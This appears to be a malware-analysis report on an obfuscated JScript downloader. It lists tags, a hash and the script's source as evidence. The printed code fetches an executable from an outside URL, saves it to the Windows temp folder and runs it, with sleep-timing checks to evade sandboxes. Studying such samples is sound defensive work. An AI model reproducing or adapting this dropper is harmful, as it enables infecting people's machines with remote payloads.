20160328_cf69d11ccf0dd44019cde2bd43474e82.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2569414de5b88ceeb835e2a21ae3d78c4285af5580acae74272852b380e82cd3f79
MaleculeO₄(AlAsCXe)H₅(Cm₃DbF₂Os₂Po₃)
Evidence
1var Ceuosodfvk = false;
2var Kgepej = "CreateObject";
3var Yzujo = function Grjpmp() {return WScript[Kgepej]("WScript.Shell");}();
4var Midvkuumc = 123213;
5var Okdrcbu = "MSXML2.XMLHTTP";
6var Xqdwwt = 2123213;
7var Cbdred = 0;
8function Pfnsomk(Mfompbpqp){Yzujo["Run"](Mfompbpqp, Cbdred, Cbdred);};
9function Tnlnbnazqd(){return Okdrcbu;};
10function Qfjdpsc(Szlkifaxzr, Kwdatbp){return Szlkifaxzr - Kwdatbp;};
11function Uzkwjmjm(){return Kgepej;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Ceuosodfvk = true;
15 @end
⋯6 lines
22function Ewfxmr()
23{
24var Hjxdw = new this["Date"]();
25var Lcovicixoj = Hjxdw["getUTCMilliseconds"]();
26WScript["Sleep"](Peauq());
27var Hjxdw = new this["Date"]();
⋯10 lines
37:31… );
38}
39var Gbvrged = false;
40var Sbwhd = false;
41for (var Qodgekia = Cbdred; Qodgekia < Peauq() * 1; Qodgekia++){if (Ewfxmr() != Cbdred){
42Gbvrged = t …
48:83…
49if (Gbvrged && Gogdn() && Sbwhd){
50function Snqramx() {return Yzujo["ExpandEnvironmentStrings"]("%TEMP%/") + "jZ9wFEm1rnoz8.exe";};
51 Juvmu = Tnlnbnazqd();
52 Zbdmznjdt = WScript[Kgepej](Juvmu);
53 var Pkwcfvfpjk = 1;
54 while (Pkwcfvfpjk){
55try {
56Zbdmznjdt[Rwrqlqxj]("GET", "http://www.stopeugenicsnow.eu/m8dhs", false);
57Zbdmznjdt["send"]();
58Agzxylrpt = "Sleep";
59do {WScript[Agzxylrpt](Peauq() * 11)} while (Zbdmznjdt["readystate"] < 4 );
60Pkwcfvfpjk = Cbdred;
61} catch(Leoodwjyix){Pkwcfvfpjk = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Cdkzopwgpf(Zahbztvo) { …
63:52… 2, 3, 4, 5, Zahbztvo); return Ozobjjpmf;};
64Wfgineiftc = WScript[Uzkwjmjm()]("ADODB.Stream");
65Juvmu = Wfgineiftc;
66Juvmu[Rwrqlqxj]();
67Juvmu["type"] = Cdkzopwgpf(1);
68Juvmu["write"](Zbdmznjdt["ResponseBody"]);
69Wfgineiftc["position"] = Cdkzopwgpf(Cbdred);
70Juvmu["SaveToFile"](Snqramx(), Cdkzopwgpf(2) );
71Wfgineiftc["close"]();
72Pfnsomk(Snqramx());
73}
74}
75